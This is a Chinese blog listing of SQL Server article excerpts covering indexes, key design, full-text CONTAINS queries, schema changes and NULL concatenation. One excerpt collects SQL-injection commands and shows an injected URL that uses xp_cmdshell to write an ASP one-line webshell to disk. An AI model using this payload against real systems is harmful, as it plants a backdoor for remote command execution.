
database
greatbag
这个作者很懒,什么都没留下…
展开
-
深入浅出理解索引结构
(一)深入浅出理解索引结构实际上,您可以把索引理解为一种特殊的目录。微软的SQL SERVER提供了两种索引:聚集索引(clustered index,也称聚类索引、簇集索引)和非聚集索引(nonclustered index,也称非聚类索引、非簇集索引)。下面,我们举例来说明一下聚集索引和非聚集索引的区别:其实,我们的汉语字典的正文本身就是一个聚集索引。比如,我们要查“安”字,就会很自然地翻开转载 2006-09-11 17:51:00 · 814 阅读 · 0 评论 -
最详细的SQL注入相关的命令整理
QUOTE:1、 用^转义字符来写ASP(一句话木马)文件的方法: http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell echo ^execute request^("l"^)^ >c:/mu.asp;-- echo ^ >c:/mu.asp2、 显示SQL系统版本: ht转载 2006-10-19 16:03:00 · 879 阅读 · 0 评论 -
SQL数据库管理系统的优化方案(表的主键、外键、索引设计)
在基本表设计中,表的主键、外键、索引设计占有非常重要的地位,但系统设计人员往往只注重于满足用户要求,而没有从系统优化的高度来认识和重视它们。实际上,它们与系统的运行性能密切相关。现在从系统数据库优化角度讨论这些基本概念及其重要意义: (1)主键(Primary Key):主键被用于复杂的SQL语句时,频繁地在数据访问中被用到。一个表只有一个主键。主键应该有固定值(不能为Null或缺省值,要有转载 2007-01-17 18:41:00 · 2015 阅读 · 0 评论 -
数据库技巧
判断一个表的数据不在另一个表中最优秀方法select a.* from tbl1 a left join tbl2 bon a.key = b.keywhere b.key is null 删除千万级表中重复记录的办法 可以试试这样:1. 选择候选键,60个字段,应该只用其中几个就可以判断重复了吧。在候选键的这些字段上建立索引。2. CREATE TRIGGER tr_历史交易表原创 2007-03-20 20:14:00 · 727 阅读 · 0 评论 -
全文索引:Sql的Contains语法
全文索引——CONTAINS 语法我们通常在 WHERE 子句中使用 CONTAINS ,就象这样:SELECT * FROM table_name WHERE CONTAINS(fullText_column,search contents)。 我们通过例子来学习,假设有表 students,其中的 address 是全文本检索的列。1. 查询住址在北京的学生SELECT student原创 2008-02-28 11:52:00 · 1244 阅读 · 0 评论 -
修改架构(批量)
SQL Server2005可以使用系统存储过程sp_changeobjectowner更改数据库对象的所有者。 sp_changeobjectowner 对象名(包括架构名),新架构名 批量修改请用: 方法一:使用游标 declare @name sysname declar转载 2008-05-24 00:30:00 · 622 阅读 · 0 评论 -
小心SQL中的字符串相加变成NULL
先到看一段代码 declare @a varchar(2000)declare @b varchar(2000)set @a=aaset @b=nullselect @a+@b 得到的结果是什么呢?结果大出意料,竟然是NULL!在SQL中任何字符串跟NULL相加最终的结果是NULL,以后写SQL的时候要小心啦原创 2009-02-26 11:09:00 · 2685 阅读 · 4 评论